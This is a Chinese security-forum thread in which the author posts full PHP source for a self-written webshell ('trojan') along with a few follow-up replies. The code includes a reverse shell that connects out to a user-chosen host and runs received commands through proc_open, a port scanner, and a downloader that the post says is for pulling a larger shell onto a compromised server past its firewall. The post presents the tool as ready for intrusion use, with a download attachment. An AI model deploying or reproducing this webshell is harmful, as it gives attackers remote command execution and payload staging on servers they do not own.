发新话题
打印

[原创]自己写的非常用性php木马

[原创]自己写的非常用性php木马

文章作者:Inking
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

刚开始接触php,这个也算是我的第一个作品吧.改木马整合了在线端口扫描,端口反弹以及远程文件下载的功能,大部分代码为自己所写,一部分参考网上作品.由于初学,写得比较乱,可能很多地方都可以精简,希望大家多多提意见,请大家不要笑话.
Code Language : PHP
  1. <html>
  2. <body>
  3. <head>
  4. <title>PHP Web 综合探测工具 Bata 1.01</title>
  5. <style>
  6. body{
  7.   margin-top=100px;
  8.   background:#000000;
  9.   color:green;
  10. }
  11. </style>
  12. </head>
  13. <?
  14. $main=$_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
  15. $system=strtoupper(substr(PHP_OS, 0, 3));
  16. if(PHP_VERSION < '4.1.0') {
  17.   $_POST = &$HTTP_POST_VARS;
  18.   $_GET = &$HTTP_GET_VARS;
  19. }
  20. if(isset($_GET['phpinfo'])&&!isset($_POST['host1'])&&!isset($_POST['host2'])&&!isset($_POST['host3'])) phpinfo();
  21. if(!isset($_POST['host1'])&&!isset($_POST['host2'])&&!isset($_POST['host3'])){
  22. print<<<eof
  23. <html>
  24. <body>
  25. <head>
  26. <title>PHP Web 综合探测工具 Bata 1.01</title>
  27. <style>
  28. body{
  29.   margin:0;
  30.   padding:0;
  31.   background:#000000;
  32.   color:green;
  33.   margin-left:150px;
  34.   margin-right:150px;
  35.   margin-top=10px;
  36.   FONT-FAMILY: verdana;
  37.   FONT-SIZE: 10px;
  38. }
  39. input{
  40.   margin:0px;
  41.   padding:0px;
  42.   color:green;
  43.   border: 1px;
  44.   border-bottom-color:#ffffff;
  45. }
  46. </style>
  47. </head>
  48. <body><center><h4>PHP Web Detector Bata 1.01</h4>
  49.  
  50. <table border=1 bordercolorlight=\"303632\" bordercolordark=\"000000\">
  51. <tr><td><center><b>端口反弹工具</b></center></td></tr>
  52. <tr><td>注意:Windows下的反弹需要PHP支持socket,即去掉php.ini中的extend_socket.dll前面的分号.Linux在非源码编译安装的情况一般都会支持,具体查看<a href=?phpinfo=yes><b><i>phpinfo()</b></i></a></br>使用时先在本地执行'nc -l -p port',然后执行该脚本</td><tr>
  53. <tr><td><form method=post action=\"\">
  54. Host: <input type=text name=host1 value='127.0.0.1'>
  55. Port: <input type=text name=port1 value='1234'>
  56. <input type=submit name=submit value=\"反弹连接\"></td></tr></table></p></p><p></p></form>
  57.  
  58. <table border=1 bordercolorlight=\"303632\" bordercolordark=\"000000\">
  59. <tr><td><center><b>端口扫描工具</b></center></td></tr>
  60. <tr><td>扫描指定端口时请使用\"21,80\"的格式,扫描一个范围内的端口时请用\"1-100\"的格式.请注意,尽量扫描少一点的端口,如果你是远程扫描,且网络条件不好,请修改fsockopen函数的第三个参数为更大</td><tr>
  61. <tr><td><form action=\"\" method=post>
  62. Host: <input type=text name=host2 value='127.0.0.1' size=50><p>
  63. Port: <input type=text name=port2 value='21,23,25,80,110,135,139,445,1433,3306,3389,43958' size=50>
  64. <input type=submit value='开始扫描'></td></tr></table></p></p><p></p></form>
  65.  
  66. <table border=1 bordercolorlight=\"303632\" bordercolordark=\"000000\">
  67. <tr><td><center><b>文件下载工具</b><center></td></tr>
  68. <tr><td>在入侵渗透时可能会碰到无法从本地提交大马或者exe文件的情况,这可能是由于内部防火墙做了相关的限定.这个脚本主要使服务器自身从远程url下载指定的文件,并保存在同一目录下,这样可突破大部分防火墙的追杀.注:要完成此项功能,web服务器必须开启allow_url_fopen,请在php.ini中做相关设置.如果你想远程下载你的大马,请将大马的格式改为txt的后再执行.</td><tr>
  69. <tr><td><form method=post action=\"\">
  70. Remote_file: <input type=text name='host3' value='http://hi.baidu.com/in_king' size=50><p>
  71. Local_name: <input type=text name='file3' value='Shell.php' size=50>
  72. <input type=submit value='开始下载'></td></tr></table></p></p><p></p></form>
  73.  
  74. <center>Code By Inking  <a href='http://hi.baidu.com/in_king'>The Entry To My Website</a>  QQ: 165068585<p>Thanks To The Men Who Share The Codes On The Web</center>
  75. </body>
  76. </html>
  77. eof;
  78. }
  79. elseif(isset($_POST['host1']) && isset($_POST['port1'])){
  80.  if(!extension_loaded('sockets')){
  81.    if ($system == 'WIN') {
  82.      @dl('php_sockets.dll') or die(\"Can't load socket\");
  83.    }
  84.    else{
  85.      @dl('sockets.so') or die(\"Can't load socket\");
  86.    }
  87.  }
  88.  $host1 = $_POST['host1'];
  89.  $port1 = $_POST['port1'];
  90.  connect();
  91.  echo $host1;
  92. }
  93. elseif(isset($_POST['host2']) && isset($_POST['port2'])){
  94.  $port2=$_POST['port2'];
  95.  $host2=$_POST['host2'];
  96.  portscan();
  97. }
  98. elseif(isset($_POST['host3']) && isset($_POST['file3'])){
  99.  $host3=$_POST['host3'];
  100.  $file3=$_POST['file3'];
  101.  download();
  102. }
  103. function connect(){
  104.  global $host1,$port1,$system,$main;
  105.  if($system==\"WIN\"){
  106.  $env=array('path' => 'c:\\windows\\system32');
  107.  }
  108.  else{
  109.  $env = array('PATH' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');
  110.  }
  111.  $descriptorspec = array(
  112.    0 => array(\"pipe\",\"r\"),
  113.    1 => array(\"pipe\",\"w\"),
  114.    2 => array(\"pipe\",\"w\"),
  115.    );
  116.  $host1=gethostbyname($host1);
  117.  $proto=getprotobyname(\"tcp\");
  118.  if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0){
  119.    die(\"Socket Create Faile\");
  120.  }
  121.  if(($ret=socket_connect($sock,$host1,$port1))<0){
  122.    die(\"Connect Faile\");
  123.  }else{
  124.    $message=\"----------------------PHP Connect-Back--------------------\n\";
  125.    $message.=\"-----------------------Good Luck :)--------------------\n\";
  126.    socket_write($sock,$message,strlen($message));
  127.    $cwd=str_replace('\\','/',dirname(__FILE__));
  128.    while($cmd=socket_read($sock,65535,$proto)){
  129.      if(trim(strtolower($cmd))==\"exit\"){
  130.        socket_write($sock,\"Bye Bye\n\");
  131.        exit;
  132.      }
  133.      else{
  134.        $process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env);
  135.        if (is_resource($process)) {
  136.          fwrite($pipes[0], $cmd);
  137.          fclose($pipes[0]);
  138.  
  139.          $msg=stream_get_contents($pipes[1]);
  140.          socket_write($sock,$msg,strlen($msg));
  141.          fclose($pipes[1]);
  142.  
  143.          $msg=stream_get_contents($pipes[2]);
  144.          socket_write($sock,$msg,strlen($msg));
  145.          $return_value = proc_close($process);
  146.        }
  147.      }
  148.    }
  149.  }
  150. }
  151. function portscan(){
  152.  global $port2,$host2,$main;
  153.  if(eregi(',',$port2)||eregi('^[0-9]*$',$port2)){
  154.    $port2=explode(',',$port2);
  155.    $count=count($port2);
  156.    }
  157.  elseif(eregi('-',$port2)){
  158.    $port2=explode('-',$port2);
  159.    $start=$port2[0];
  160.    $end=$port2[1];
  161.    unset($port2);
  162.    $count=$end-$start+1;
  163.    $i=$start;
  164.    while($i<=$end){
  165.      $port2[]=\"$i\";
  166.      $i++;
  167.    }
  168.  }
  169.  echo \"<center><table border=1 bordercolorlight=#303632 bordercolordark=#000000><tr><td>\";
  170.  for($i=0;$i<$count;$i++){
  171.    if(fsockopen($host2,$port2[$i],&$errno, &$errstr,1))
  172.      echo '<p>'.'port '.$port2[$i].' is open! '.'</p>';
  173.  }
  174.  echo \"</td></tr></table></center>\";
  175.  echo \"<center><p><a href=$main>返回重新扫描</a></p></center>\";
  176. }
  177. function download(){
  178.  global $host3,$file3,$main;
  179.  if(file_exists($file3))
  180.    echo \"<center>文件已存在,请重新定义文件名,<a href=$main>点击这里返回</a><center>\";
  181.  else{
  182.    $content=file_get_contents($host3);
  183.    $f=fopen($file3,'w');
  184.    $write=fwrite($f,$content);
  185.    fclose($f);
  186.    if(file_exists($file3))
  187.      echo \"<center>文件下载成功, <a href=$file3>点击查看 </a>或者 <a href=$main>返回</a><center>\";
  188.  }
  189. }
  190. ?>
  191. </body>
  192. </html>
Parsed in 0.103 seconds
题外话:想做一个全面探测web信息的phptool,大家有建议请多给点意见.此外由于自己手拙和为了精简代码,没有对本木马的安全性进行增强.

附件

webscan.rar (3 KB)

2007-9-25 14:29, 下载次数: 139

Inking's Blog http://www.inkings.cn

TOP

支持一个
建议增加常用函数检测功能。
20字节够写什么?

TOP

这个只要点击第一个功能描述里的phpinfo()这几个斜体字就会显示出php的设置了吧.
Inking's Blog http://www.inkings.cn

TOP


我的意思是制作一个探针,看phpinfo比较费时间。
20字节够写什么?

TOP

恩,代码写的不错哦,不过有些函数还是换一换吧。像stream_get_contents这个就只有php5以上才支持的,为了通用还是改改的好,呵呵。
我的部落格:http://www.mikwawa.cn/

TOP

发新话题